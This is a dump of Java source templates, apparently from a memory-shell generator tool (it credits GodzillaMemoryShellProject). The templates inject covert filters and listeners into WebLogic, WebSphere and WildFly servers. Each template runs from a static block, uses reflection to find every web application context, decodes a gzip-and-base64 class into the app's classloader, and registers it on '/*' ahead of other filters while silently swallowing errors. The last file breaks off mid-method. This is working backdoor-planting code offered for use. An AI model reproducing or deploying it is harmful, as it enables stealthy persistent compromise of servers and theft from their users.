method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,297 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.*;
import java.util.zip.GZIPInputStream;
public class WebLogicFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new WebLogicFilterInjectorTpl();
}
public WebLogicFilterInjectorTpl() {
try {
Object[] contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
public static Object[] getContextsByMbean() throws Throwable {
HashSet webappContexts = new HashSet();
Class serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
theOneMethod.setAccessible(true);
Object serverRuntime = theOneMethod.invoke(null);
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
getApplicationRuntimesMethod.setAccessible(true);
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
for (int i = 0; i < applicationRuntimeSize; i++) {
Object applicationRuntime = Array.get(applicationRuntimes, i);
try {
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
int componentRuntimeSize = Array.getLength(componentRuntimes);
for (int j = 0; j < componentRuntimeSize; j++) {
Object context = getFV(Array.get(componentRuntimes, j), "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
}
} catch (Throwable e) {
}
try {
Set childrenSet = (Set) getFV(applicationRuntime, "children");
Iterator iterator = childrenSet.iterator();
while (iterator.hasNext()) {
Object componentRuntime = iterator.next();
try {
Object context = getFV(componentRuntime, "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
} catch (Throwable e) {
}
}
} catch (Throwable e) {
}
}
return webappContexts.toArray();
}
public static Object[] getContextsByThreads() throws Throwable {
HashSet webappContexts = new HashSet();
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
int threadCount = threadGroup.activeCount();
Thread[] threads = new Thread[threadCount];
threadGroup.enumerate(threads);
for (int i = 0; i < threadCount; i++) {
Thread thread = threads[i];
if (thread != null) {
Object workEntry = getFV(thread, "workEntry");
if (workEntry != null) {
try {
Object context = null;
Object connectionHandler = getFV(workEntry, "connectionHandler");
if (connectionHandler != null) {
Object request = getFV(connectionHandler, "request");
if (request != null) {
context = getFV(request, "context");
}
}
if (context == null) {
context = getFV(workEntry, "context");
}
if (context != null) {
webappContexts.add(context);
}
} catch (Throwable e) {
}
}
}
}
return webappContexts.toArray();
}
public static Object[] getContext() {
HashSet webappContexts = new HashSet();
try {
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
} catch (Throwable e) {
}
try {
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
} catch (Throwable e) {
}
return webappContexts.toArray();
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFV(context, "classLoader"));
}
}
private Object getFilter(Object context) throws Exception {
Object filter = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Throwable tt) {
}
}
return filter;
}
/**
* https://github.com/BeichenDream/GodzillaMemoryShellProject
*/
public void addFilter(Object context, Object filter) throws Exception {
String filterClassName = filter.getClass().getName();
if (!isInjected(context, filterClassName)) {
try {
Object filterManager = invokeMethod(context, "getFilterManager");
Object servletClassLoader = invokeMethod(context, "getServletClassLoader");
Map cachedClasses = (Map) getFV(servletClassLoader, "cachedClasses");
//或者直接反射在这个classloader定义类 就不用写缓存了 不过就要硬编码一个class了
cachedClasses.put(filterClassName, filter.getClass());
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{filterClassName, filterClassName, new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
//将filter置为第一位
List filterPatternList = (List) getFV(filterManager, "filterPatternList");
Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
filterPatternList.add(0, currentMapping);
} catch (Throwable e) {
}
}
}
public static boolean isInjected(Object context, String filterClassName) throws Exception {
HashMap filters = (HashMap) getFV(getFV(context, "filterManager"), "filters");
for (Object obj : filters.keySet()) {
if (obj.toString().contains(filterClassName))
return true;
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,279 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.*;
import java.util.zip.GZIPInputStream;
public class WebLogicListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new WebLogicListenerInjectorTpl();
}
public WebLogicListenerInjectorTpl() {
try {
Object[] contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
registerListener(context, listener);
}
} catch (Exception ignored) {
}
}
public static Object[] getContextsByMbean() throws Throwable {
HashSet webappContexts = new HashSet();
Class serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
theOneMethod.setAccessible(true);
Object serverRuntime = theOneMethod.invoke(null);
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
getApplicationRuntimesMethod.setAccessible(true);
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
for (int i = 0; i < applicationRuntimeSize; i++) {
Object applicationRuntime = Array.get(applicationRuntimes, i);
try {
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
int componentRuntimeSize = Array.getLength(componentRuntimes);
for (int j = 0; j < componentRuntimeSize; j++) {
Object context = getFV(Array.get(componentRuntimes, j), "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
}
} catch (Throwable e) {
}
try {
Set childrenSet = (Set) getFV(applicationRuntime, "children");
Iterator iterator = childrenSet.iterator();
while (iterator.hasNext()) {
Object componentRuntime = iterator.next();
try {
Object context = getFV(componentRuntime, "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
} catch (Throwable e) {
}
}
} catch (Throwable e) {
}
}
return webappContexts.toArray();
}
public static Object[] getContextsByThreads() throws Throwable {
HashSet webappContexts = new HashSet();
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
int threadCount = threadGroup.activeCount();
Thread[] threads = new Thread[threadCount];
threadGroup.enumerate(threads);
for (int i = 0; i < threadCount; i++) {
Thread thread = threads[i];
if (thread != null) {
Object workEntry = getFV(thread, "workEntry");
if (workEntry != null) {
try {
Object context = null;
Object connectionHandler = getFV(workEntry, "connectionHandler");
if (connectionHandler != null) {
Object request = getFV(connectionHandler, "request");
if (request != null) {
context = getFV(request, "context");
}
}
if (context == null) {
context = getFV(workEntry, "context");
}
if (context != null) {
webappContexts.add(context);
}
} catch (Throwable e) {
}
}
}
}
return webappContexts.toArray();
}
public static Object[] getContext() {
HashSet webappContexts = new HashSet();
try {
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
} catch (Throwable e) {
}
try {
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
} catch (Throwable e) {
}
return webappContexts.toArray();
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFV(context, "classLoader"));
}
}
private Object getListener(Object context) throws Exception {
Object listener = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable tt) {
}
}
return listener;
}
public void registerListener(Object context, Object listener) throws Exception {
String listenerClassName = listener.getClass().getName();
if (!isInjected(context, listenerClassName)) {
try {
Object eventsManager = getFV(context, "eventsManager");
invokeMethod(eventsManager, "registerEventListener", new Class[]{String.class}, new Object[]{listenerClassName});
} catch (Exception e) {
}
}
}
public static boolean isInjected(Object context, String listenerClassName) throws Exception {
ArrayList requestListeners = (ArrayList) getFV(getFV(context, "eventsManager"), "requestListeners");
for (int i = 0; i < requestListeners.size(); i++) {
if (requestListeners.get(i).getClass().getName().contains(listenerClassName)) return true;
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,277 @@
package jmg.core.template;
import javax.servlet.Filter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* tested v7v8
* update 2023/07/08
*/
public class WebSphereFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new WebSphereFilterInjectorTpl();
}
public WebSphereFilterInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Object context;
Object obj = getFV(Thread.currentThread(), "wsThreadLocals");
Object[] wsThreadLocals = (Object[]) obj;
for (Object wsThreadLocal : wsThreadLocals) {
obj = wsThreadLocal;
// for websphere 7.x
if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFV(obj, "stack");
for (Object stack : stackList) {
try {
Object config = getFV(stack, "config");
context = getFV(getFV(config, "context"), "context");
contexts.add(context);
} catch (Exception ignored) {
}
}
} else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
context = getFV(getFV(getFV(getFV(getFV(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
contexts.add(context);
}
}
return contexts;
}
public void addFilter(Object context, Object filter) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
String filterName = getFilterName(getClassName());
try {
if (!isAdded(context, filterName)) {
Class filterMappingClass;
Class iFilterConfigClass;
Class iServletConfigClass;
ClassLoader classLoader;
try {
classLoader = context.getClass().getClassLoader();
filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
} catch (Exception e) {
classLoader = Thread.currentThread().getContextClassLoader();
filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
}
Object filterManager = getFV(context, "filterManager");
try {
// v8
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
// com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter
setFV(context, "initialized", false);
Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{filterName, getClassName(), filter, filter.getClass()});
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
setFV(context, "initialized", true);
// com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
// com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{filterName});
} catch (Exception e) {
// v7
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()});
setFV(filterConfig, "dispatchMode", new int[]{0});
setFV(filterConfig, "name", filterName);
invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig});
ArrayList _uriFilterMappings = (ArrayList) getFV(filterManager, "_uriFilterMappings");
int lastIndex = _uriFilterMappings.size() - 1;
Object lastElement = _uriFilterMappings.remove(lastIndex);
_uriFilterMappings.add(0, lastElement);
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{filterName});
}
// 清除缓存
invokeMethod(getFV(filterManager, "chainCache"), "clear");
}
} catch (Exception ex) {
}
}
public String getFilterName(String className) {
if (className.contains(".")) {
int lastDotIndex = className.lastIndexOf(".");
return className.substring(lastDotIndex + 1);
} else {
return className;
}
}
public boolean isAdded(Object context, String filterName) throws Exception {
Object webAppConfiguration = getFV(context, "config");
List filerMappings = (List) invokeMethod(webAppConfiguration, "getFilterMappings");
for (int i = 0; i < filerMappings.size(); i++) {
Object config = invokeMethod(filerMappings.get(i), "getFilterConfig");
String name = (String) invokeMethod(config, "getFilterName");
if (name.equals(filterName)) {
return true;
}
}
return false;
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFV(context, "loader"));
}
}
public Object getFilter(Object context) throws Exception {
Object filter = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class filterClass = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = filterClass.newInstance();
} catch (Throwable ignored) {
}
}
return filter;
}
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
private static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj.getClass(), fieldName);
field.setAccessible(true);
return field.get(obj);
}
private static void setFV(Object obj, String fieldName, Object fieldValue) throws Exception {
getF(obj.getClass(), fieldName).set(obj, fieldValue);
}
private static Field getF(Class<?> clazz, String fieldName) throws NoSuchFieldException {
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
}
@@ -0,0 +1,187 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPInputStream;
public class WebSphereListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new WebSphereListenerInjectorTpl();
}
public WebSphereListenerInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
addListener(context, listener);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Object context;
Object obj = getFV(Thread.currentThread(), "wsThreadLocals");
Object[] wsThreadLocals = (Object[]) obj;
for (Object wsThreadLocal : wsThreadLocals) {
obj = wsThreadLocal;
// for websphere 7.x
if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFV(obj, "stack");
for (Object stack : stackList) {
try {
Object config = getFV(stack, "config");
context = getFV(getFV(config, "context"), "context");
contexts.add(context);
} catch (Exception ignored) {
}
}
} else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
context = getFV(getFV(getFV(getFV(getFV(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
contexts.add(context);
}
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFV(context, "loader"));
}
}
private Object getListener(Object context) throws Exception {
Object listener = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class listenerClass = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = listenerClass.newInstance();
} catch (Throwable ignored) {
}
}
return listener;
}
public void addListener(Object context, Object listener) throws Exception {
List listeners = (List) getFV(context, "servletRequestListeners");
// 判断是否已经存在
if (!listeners.contains(listener)) listeners.add(listener);
}
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
private static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj.getClass(), fieldName);
field.setAccessible(true);
return field.get(obj);
}
private static Field getF(Class<?> clazz, String fieldName) throws NoSuchFieldException {
try {
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
}catch (Exception ignored){
}
return null;
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,212 @@
package jmg.core.template;
import javax.servlet.DispatcherType;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.zip.GZIPInputStream;
public class WildFlyFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new WildFlyFilterInjectorTpl();
}
public WildFlyFilterInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
for (int i = 0; i < threads.length; i++) {
try {
Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
if (servletContext != null) contexts.add(servletContext);
} catch (Exception ignored) {
}
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object deploymentInfo = getFV(context, "deploymentInfo");
return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
}
}
private Object getFilter(Object context) throws Exception {
Object filter = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Throwable tt) {
}
}
return filter;
}
public void addFilter(Object context, Object filter) {
try {
